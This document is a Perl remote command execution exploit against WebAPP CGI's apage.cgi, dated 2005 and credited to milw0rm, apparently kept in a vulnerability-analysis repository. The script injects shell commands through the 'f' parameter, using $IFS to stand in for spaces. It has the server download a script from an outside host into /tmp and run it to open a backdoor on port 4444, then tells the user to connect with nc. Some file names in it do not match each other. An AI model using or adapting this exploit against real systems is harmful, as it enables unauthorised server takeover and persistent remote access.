lilbool/vuln-code-analysis

1!/usr/bin/perl

2#################################################################

3#                         T r a p - S e t   U n d e r G r o u n D   H a c k i n g   T e a m                               #

4#################################################################

5# Remote C0mmand Executing Expl0it - For WebAPP CGI

6#

7#Exploit By :  A l p h a _ P r o g r a m m e r ( Sirus-v );

8#E-Mail : Alpha_Programmer@Yahoo.com

9#            Trapset_Sec@Yahoo.Ca

10#This xpl Open a Backdoor in 4444 Port with Nobody Access !!! All Of The *NIX OS that Have UnPatch

11#apage.cgi is Vulnerable in this M0ment !!

12#

13#################################################################

14#  Gr33tz To ==>  AlphaST.Com , Crouz.Com  , Simorgh-ev.Com  And  MH_P0rtal , Oil_Krachack     #

15#################################################################

16use IO::Socket;

17

18if (@ARGV < 2)

19{

20 print "\n==============================================\n";

21 print " \n    WebAPP CGI Exploit By Alpha_Programmer \n\n";

22 print "      Trap-Set Underground Hacking Team      \n\n";

23 print "            Usage: <T4rg3t> <Dir>      \n\n";

24 print "==============================================\n\n";

25 print "Examples:\n\n";

26 print "    WebApp.pl www.Host.com /cgi-bin/ \n";

27 exit();

28}

29

30

31$serv = $ARGV[0];

32$serv =~ s/http:\/\///ge;

33

34$dir = $ARGV[1];

35

36$cmde = "cd /tmp;wget http://www.khatotarh.com/NeT/alpha.txt";

37

38$cmde =~ s/ /"\$IFS"/ge;

39

40$req  = "GET http://$serv";

41$req .= "$dir";

42$req .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

43

44$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

45

46print $sock $req;

47print "\nPlease Wait ...\n\n";

48sleep(3000);

49close($sock);

50

51$sock2 = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>80) or die " (-) - C4n't C0nn3ct To The S3rver\n";

52

53

54$cmde2 = "cd /tmp;cp alpha.txt alpha.pl;chmod 777 sirus.pl;perl sirus.pl";

55

56$cmde2 =~ s/ /"\$IFS"/ge;

57

58$req2  = "GET http://$serv";

59$req2 .= "$dir";

60$req2 .= "apage.cgi?f=file.htm.|echo\$IFS\"_N_\";$cmde2;echo\$IFS\"_T_\"| HTTP/1.0\n\n";

61

62print $sock2 $req2;

63print "\n\n$$$   OK -- Now Try: Nc -v www.host.com 4444   $$$\n";

64print "$$  if This Port was Close , This mean is That , You Hav'nt Permission to Write in /TMP  $$\n";

65

66### EOF ###

67

68

69# milw0rm.com [2005-05-20]